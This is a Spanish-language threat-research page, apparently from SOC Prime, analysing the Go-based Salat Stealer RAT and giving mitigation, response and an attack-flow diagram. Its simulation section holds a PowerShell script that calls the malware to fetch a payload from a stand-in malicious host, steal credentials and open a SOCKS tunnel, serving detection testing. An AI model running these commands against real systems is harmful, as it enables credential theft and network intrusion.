SOC Prime Bias: Medio

07 May 2026 18:58

Análisis de Salat Stealer: RAT Basado en Go, Resiliencia del C2 y Capacidades de Robo de Información

Author Photo
Ruslan Mikhalov Jefe de Investigación de Amenazas en SOC Prime linkedin icon Seguir
Análisis de Salat Stealer: RAT Basado en Go, Resiliencia del C2 y Capacidades de Robo de Información
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Resumen

Salat Stealer es un troyano de acceso remoto basado en Go que funciona como un marco de post-explotación con todas las funciones. Soporta múltiples canales de comunicación, incluyendo WebSocket, HTTP/2, HTTP/3 y QUIC, brindando a los operadores opciones de comando y control flexibles y resilientes. El malware también incluye amplias capacidades de robo de credenciales, apuntando a datos de navegadores, carteras de criptomonedas, pulsaciones de teclas, capturas de pantalla y pivoteo de red a través de SOCKS5. Para sobrevivir a reinicios, utiliza copias de archivos ocultos, tareas programadas y una clave de registro Run. Si su infraestructura principal se ve interrumpida, el malware puede recuperar detalles actualizados de comando y control a través de la blockchain TON.

Investigación

El análisis explica cómo el malware deriva claves de cifrado a partir de cadenas estáticas combinadas con el nombre del host de la víctima, luego las usa para descifrar cinco URLs de comando y control incrustadas. Los investigadores también documentaron cómo Salat Stealer selecciona su protocolo de transporte, procesa comandos del operador, intenta elevar privilegios y despliega múltiples métodos de persistencia en el anfitrión. El informe además describe la gama de datos robados y las funciones más amplias de acceso remoto disponibles para el atacante.

Mitigación

Los defensores deben monitorear las conexiones a las URLs de comando y control identificadas, así como el tráfico inesperado de QUIC y WebSocket hacia destinos desconocidos. Los equipos de seguridad también deben buscar tareas programadas ocultas y entradas sospechosas de la clave Run que apunten a ejecutables desconocidos. La lista de aplicaciones permitidas y los controles estrictos de ejecución pueden ayudar a prevenir que se ejecute la carga útil basada en Go. La segmentación de la red y la inspección TLS pueden mejorar aún más la visibilidad del tráfico saliente sospechoso asociado con el malware.

Respuesta

Si se detecta actividad de Salat Stealer, aísle inmediatamente el sistema afectado, recoja imágenes de memoria y disco, y termine los procesos maliciosos. Elimine todos los artefactos de persistencia, incluyendo tareas programadas, entradas de clave Run y copias de archivos ocultos utilizados por el malware. Los dominios de comando y control identificados deben ser bloqueados, junto con cualquier búsqueda relacionada de la blockchain TON utilizada para descubrir infraestructuras de respaldo. Las credenciales expuestas y las carteras de criptomonedas también deben rotar o asegurarse sin demora.

"graph TB %% Definiciones de clase classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef malware fill:#ff9999 classDef process fill:#ccffcc %% Definición de Malware malware_salatr["<b>Malware</b> – <b>Nombre</b>: Salat Stealer (Go RAT)<br/><b>Descripción</b>: Troyano de acceso remoto basado en Gou2011 utilizado para robo, persistencia y movimiento lateral."] class malware_salatr malware %% Proceso de ejecución inicial process_start["<b>Proceso</b> – <b>Nombre</b>: SalatStealer.exe<br/><b>Acción</b>: Comienza, recupera su propia ruta, verifica la instancia existente, puede omitir UAC.<br/><b>Técnica</b>: T1548.002 Evitar el Control de Cuentas de Usuario<br/><b>Técnica</b>: T1027.008 Archivos Ofuscados/Almacenados"] class process_start process malware_salatr –>|ejecuta| process_start %% Mecanismos de persistencia persistence_task["<b>Acción</b> – <b>T1053.005 Tarea Programada</b>: Crea tarea programada oculta con nombre enmascarado (explorer.exe)."] class persistence_task action persistence_reg["<b>Acción</b> – <b>T1547.001 Claves del Registro Run / Carpeta de Inicio</b>: Entrada HKCURun usando nombre disfrazado (svchost.exe)."] class persistence_reg action process_start –>|crea| persistence_task process_start –>|crea| persistence_reg %% Evasión de defensas defense_evasion["<b>Acción</b> – <b>T1027 Archivos Ofuscados</b>: Ofuscación de cadena en modo Sixu2011 y derivación de clave peru2011máquina."] class defense_evasion action process_start –>|aplica| defense_evasion %% Descubrimiento del sistema discovery["<b>Acción</b> – <b>T1082 Descubrimiento de Información del Sistema</b>: Recopila OS, CPU, GPU, RAM, título de la ventana activa, estado de administrador y construye un identificador de agente."] class discovery action process_start –>|realiza| discovery %% Acceso a credenciales credential_access["<b>Acción</b> – <b>T1555.003 Credenciales de Navegadores Web</b>: Descarga navegadores Chromium, Firefox, Discord, Steam y contraseñas cifradas con DPAPIu2011.<br/><b>Técnicas adicionales</b>: T1056.001 Registro de Teclas, T1115 Datos del Portapapeles."] class credential_access action process_start –>|realiza| credential_access %% Recolección de datos collection["<b>Acción</b> – <b>T1113 Captura de Pantalla</b>, <b>T1125 Captura de Video</b>, <b>T1560.001 Archivo a través de Utilidad</b>: Captura pantalla, video de webcam y archiva datos en archivos ZIP."] class collection action credential_access –>|recolecta| collection %% Comando y control c2["<b>Acción</b> – <b>T1071.005 WebSocket</b> y <b>T1071.001 Protocolo Web</b>: Comunica sobre QUIC/WebSocket con URLs cifradas; vuelve a puntos finales alternativos y la blockchain TON.<br/><b>Técnica</b>: T1008 Canales Alternativos"] class c2 action collection –>|exfiltra vía| c2 %% Exfiltración exfiltration["<b>Acción</b> – <b>T1041 Exfiltración Sobre Canal C2</b>, <b>T1048 Exfiltración Sobre Protocolo Alternativo</b>, <b>T1020 Exfiltración Automática</b>: Envía datos archivados y credenciales robadas."] class exfiltration action c2 –>|envía datos| exfiltration %% Ejecución de comandos remotos command_exec["<b>Acción</b> – <b>T1059.003 Shell de Comandos de Windows</b>: Recibe y ejecuta instrucciones de línea de comando del atacante.<br/><b>Técnica</b>: T1090.001 Proxy SOCKS5 para tunelización."] class command_exec action exfiltration –>|recibe comandos| command_exec %% Movimiento lateral vía proxy lateral["<b>Acción</b> – <b>T1090.001 Proxy (SOCKS5)</b>: Establece túnel interno SOCKS5 para pivoteo y movimiento lateral."] class lateral action command_exec –>|establece| lateral "

Flujo de Ataque

Ejecución de Simulación

Requisito previo: La Verificación Previa de Telemetría y Línea Base debe haber pasado.

Razonamiento: Esta sección detalla la ejecución precisa de la técnica del adversario (TTP) diseñada para activar la regla de detección. Los comandos y la narrativa DEBEN reflejar directamente los TTPs identificados y apuntar a generar la telemetría exacta esperada por la lógica de detección.

  • Narrativa y Comandos de Ataque:
    Un adversario ha entregado el binario Salat RAT (salat.exe) al anfitrión víctima a través de un adjunto de phishing. Después de obtener un acceso inicial de bajo privilegio, el atacante ejecuta el binario con argumentos específicos para:

    1. Descargar una carga útil secundariamain.downloadFile https://malicious.example.com/payload.exe.
    2. Robar credenciales almacenadasmain.Steal -module credentials.
    3. Establecer un túnel SOCKS de igual a igual para movimiento lateralmain.p2pSocks -listen 1080 -remote 10.0.0.5:4444.

    El binario se lanza desde una sesión de PowerShell elevada para satisfacer el requisito de elevación (T1548). Cada invocación aparece como una creación de proceso Sysmon distinta con la línea de comando correspondiente, satisfaciendo la coincidencia de cadena de la regla Sigma.

  • Script de Prueba de Regresión:

    # -------------------------------------------------
    # Script de simulación de Salat RAT – activa detección
    # -------------------------------------------------
    $binaryPath = "C:Tempsalat.exe"
    
    # Asegúrese de que el binario exista (marcador de posición – en una prueba real el binario estaría prealojado)
    if (-Not (Test-Path $binaryPath)) {
        Write-Error "Binario Salat no encontrado en $binaryPath"
        exit 1
    }
    
    # 1. Descargar carga útil secundaria
    Start-Process -FilePath $binaryPath -ArgumentList "main.downloadFile https://malicious.example.com/payload.exe" -Wait
    
    # 2. Robar credenciales
    Start-Process -FilePath $binaryPath -ArgumentList "main.Steal -module credentials" -Wait
    
    # 3. Abrir túnel SOCKS P2P
    Start-Process -FilePath $binaryPath -ArgumentList "main.p2pSocks -listen 1080 -remote 10.0.0.5:4444" -Wait
    
    Write-Host "Simulación completada."
  • Comandos de Limpieza:

    # -------------------------------------------------
    # Limpieza para simulación de Salat RAT
    # -------------------------------------------------
    # Terminar cualquier proceso de Salat restante
    Get-Process -Name "salat" -ErrorAction SilentlyContinue | Stop-Process -Force
    
    # Eliminar el binario (si está permitido)
    $binaryPath = "C:Tempsalat.exe"
    if (Test-Path $binaryPath) {
        Remove-Item $binaryPath -Force
        Write-Host "Eliminado $binaryPath"
    }
    
    # Opción para borrar eventos Sysmon relacionados del índice de prueba (ejemplo de Splunk)
    # splunk cmd search '| delete index=main host="test-host" sourcetype="Sysmon" earliest=-24h latest=now'